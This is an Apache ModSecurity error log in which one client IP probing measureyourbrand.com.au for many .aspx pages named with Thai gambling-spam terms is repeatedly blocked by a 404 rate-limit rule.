[Tue Jan 27 08:23:26.692528 2026] [:error] [pid 7561:tid 7584] [client 193.70.33.35:54746] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%B9%E0%B8%95%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg.aspx"] [unique_id "aXgFfrXGI6mgvHQqkXxUzQAAANQ"]
[Tue Jan 27 08:23:29.468806 2026] [:error] [pid 7561:tid 7587] [client 193.70.33.35:54748] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%87%E0%B9%82%E0%B8%9B%E0%B9%89%E0%B8%AA%E0%B8%B2%E0%B8%A7%E0%B8%AA%E0%B8%A7%E0%B8%A2.aspx"] [unique_id "aXgFgbXGI6mgvHQqkXxU0QAAANc"]
[Tue Jan 27 08:23:50.790055 2026] [:error] [pid 48528:tid 48540] [client 193.70.33.35:54764] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95777.aspx"] [unique_id "aXgFlgOGRrquT9N7CZoJTAAAAgo"]
[Tue Jan 27 08:23:53.300146 2026] [:error] [pid 48528:tid 48545] [client 193.70.33.35:42112] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXgFmQOGRrquT9N7CZoJUwAAAg8"]
[Tue Jan 27 08:23:55.914324 2026] [:error] [pid 48412:tid 48420] [client 193.70.33.35:56380] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%20pg.aspx"] [unique_id "aXgFm3bJMfAKlln88JFJkgAAAUY"]
[Tue Jan 27 08:23:58.536198 2026] [:error] [pid 48662:tid 48682] [client 193.70.33.35:56388] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777.aspx"] [unique_id "aXgFnuD8iESUP9uRiROSLwAAAo4"]
[Tue Jan 27 08:24:01.004560 2026] [:error] [pid 48412:tid 48422] [client 193.70.33.35:56396] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A%20ufa191.aspx"] [unique_id "aXgFoXbJMfAKlln88JFJlAAAAUg"]
[Tue Jan 27 08:24:03.616096 2026] [:error] [pid 48528:tid 48540] [client 193.70.33.35:56398] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9Ajoker888.aspx"] [unique_id "aXgFowOGRrquT9N7CZoJawAAAgo"]
[Tue Jan 27 08:24:06.235245 2026] [:error] [pid 7561:tid 7573] [client 193.70.33.35:55650] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXgFprXGI6mgvHQqkXxVFwAAAMk"]
[Tue Jan 27 08:24:08.864147 2026] [:error] [pid 48445:tid 48452] [client 193.70.33.35:55658] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87%2030.aspx"] [unique_id "aXgFqBFh_QNUhZ0HkzdutgAAAYM"]
[Tue Jan 27 08:24:11.322874 2026] [:error] [pid 7454:tid 7531] [client 193.70.33.35:55664] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87%E0%B8%AB%E0%B8%99%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%202023.aspx"] [unique_id "aXgFq5ltCoZEfMmfl8CydgAAAI8"]
[Tue Jan 27 08:24:13.949684 2026] [:error] [pid 48446:tid 48499] [client 193.70.33.35:55670] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXgFrcDRSaZ8F8aaLxkAQgAAAdU"]
[Tue Jan 27 08:24:16.589396 2026] [:error] [pid 48412:tid 48438] [client 193.70.33.35:46714] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%20%E0%B9%84%E0%B8%A5%20%E0%B8%84%E0%B9%8C%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C%202020.aspx"] [unique_id "aXgFsHbJMfAKlln88JFJ4gAAAVg"]
[Tue Jan 27 08:24:19.168218 2026] [:error] [pid 48412:tid 48431] [client 193.70.33.35:46730] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C%202022%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXgFs3bJMfAKlln88JFJ5AAAAVE"]
[Tue Jan 27 08:24:21.632162 2026] [:error] [pid 48631:tid 48657] [client 193.70.33.35:46736] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%202020%20%E0%B9%84%E0%B8%A1%E0%B9%88%20%E0%B8%9D%E0%B8%B2%E0%B8%81%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B9%81%E0%B8%8A%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXgFtSN5eesHzEogX0zQLAAAAlg"]
[Tue Jan 27 08:24:24.246897 2026] [:error] [pid 7561:tid 7573] [client 193.70.33.35:46742] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%202020%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXgFuLXGI6mgvHQqkXxVLwAAAMk"]
[Tue Jan 27 08:24:27.020431 2026] [:error] [pid 48445:tid 48450] [client 193.70.33.35:33210] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%202024.aspx"] [unique_id "aXgFuxFh_QNUhZ0HkzduuQAAAYE"]
[Tue Jan 27 08:24:29.620660 2026] [:error] [pid 7453:tid 7511] [client 193.70.33.35:33224] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXgFvRfsyA2ws_ADqujIHwAAAFY"]
[Tue Jan 27 08:24:32.385698 2026] [:error] [pid 48412:tid 48422] [client 193.70.33.35:33240] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXgFwHbJMfAKlln88JFJ7QAAAUg"]
[Tue Jan 27 08:24:34.901865 2026] [:error] [pid 48445:tid 48465] [client 193.70.33.35:33254] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXgFwhFh_QNUhZ0HkzduxQAAAZA"]
[Tue Jan 27 08:24:37.472727 2026] [:error] [pid 48412:tid 48431] [client 193.70.33.35:55510] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXgFxXbJMfAKlln88JFJ8gAAAVE"]
[Tue Jan 27 08:24:39.948874 2026] [:error] [pid 41780:tid 41800] [client 193.70.33.35:55518] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXgFx1vu-XLQ0TaZ4FGWsQAAARI"]
[Tue Jan 27 08:24:42.555863 2026] [:error] [pid 48412:tid 48423] [client 193.70.33.35:55520] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXgFynbJMfAKlln88JFJ9wAAAUk"]
[Tue Jan 27 08:24:45.168361 2026] [:error] [pid 7561:tid 7577] [client 193.70.33.35:55532] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXgFzbXGI6mgvHQqkXxVOwAAAM0"]
[Tue Jan 27 08:24:47.649562 2026] [:error] [pid 48445:tid 48451] [client 193.70.33.35:46822] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%81%E0%B8%84%E0%B9%88%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3.aspx"] [unique_id "aXgFzxFh_QNUhZ0Hkzdu1gAAAYI"]
[Tue Jan 27 08:25:08.846663 2026] [:error] [pid 7454:tid 7538] [client 193.70.33.35:46832] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%201%20%E0%B8%9A%E0%B8%B2%E0%B8%97%E0%B8%81%E0%B9%87%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89.aspx"] [unique_id "aXgF5JltCoZEfMmfl8CysQAAAJY"]
[Tue Jan 27 08:25:11.357767 2026] [:error] [pid 48446:tid 48488] [client 193.70.33.35:36762] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXgF58DRSaZ8F8aaLxkAeAAAAcs"]
[Tue Jan 27 08:25:13.971789 2026] [:error] [pid 7454:tid 7517] [client 193.70.33.35:36778] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXgF6ZltCoZEfMmfl8CyvAAAAIE"]
[Tue Jan 27 08:25:16.448179 2026] [:error] [pid 48412:tid 48436] [client 193.70.33.35:56004] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXgF7HbJMfAKlln88JFKAwAAAVY"]
[Tue Jan 27 08:25:19.072539 2026] [:error] [pid 48445:tid 48449] [client 193.70.33.35:56010] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%20%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A1.aspx"] [unique_id "aXgF7xFh_QNUhZ0Hkzdu_QAAAYA"]
[Tue Jan 27 08:25:21.687094 2026] [:error] [pid 7453:tid 7510] [client 193.70.33.35:56024] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXgF8RfsyA2ws_ADqujIUgAAAFU"]
[Tue Jan 27 08:25:24.153281 2026] [:error] [pid 48412:tid 48421] [client 193.70.33.35:56028] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9B%E0%B8%B1%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXgF9HbJMfAKlln88JFKEgAAAUc"]
[Tue Jan 27 08:25:26.780627 2026] [:error] [pid 48412:tid 48427] [client 193.70.33.35:57670] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9E%E0%B8%99%E0%B8%B1%E0%B8%99%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C%20ufabet.aspx"] [unique_id "aXgF9nbJMfAKlln88JFKGAAAAU0"]
[Tue Jan 27 08:25:29.244872 2026] [:error] [pid 48528:tid 48533] [client 193.70.33.35:57686] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%88%E0%B8%B2%E0%B8%81%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3.aspx"] [unique_id "aXgF-QOGRrquT9N7CZoJ4wAAAgM"]
[Tue Jan 27 08:25:31.874289 2026] [:error] [pid 7453:tid 7499] [client 193.70.33.35:57702] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168%20%E0%B8%9D%E0%B8%B2%E0%B8%81%20%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet.aspx"] [unique_id "aXgF-xfsyA2ws_ADqujIYwAAAEo"]
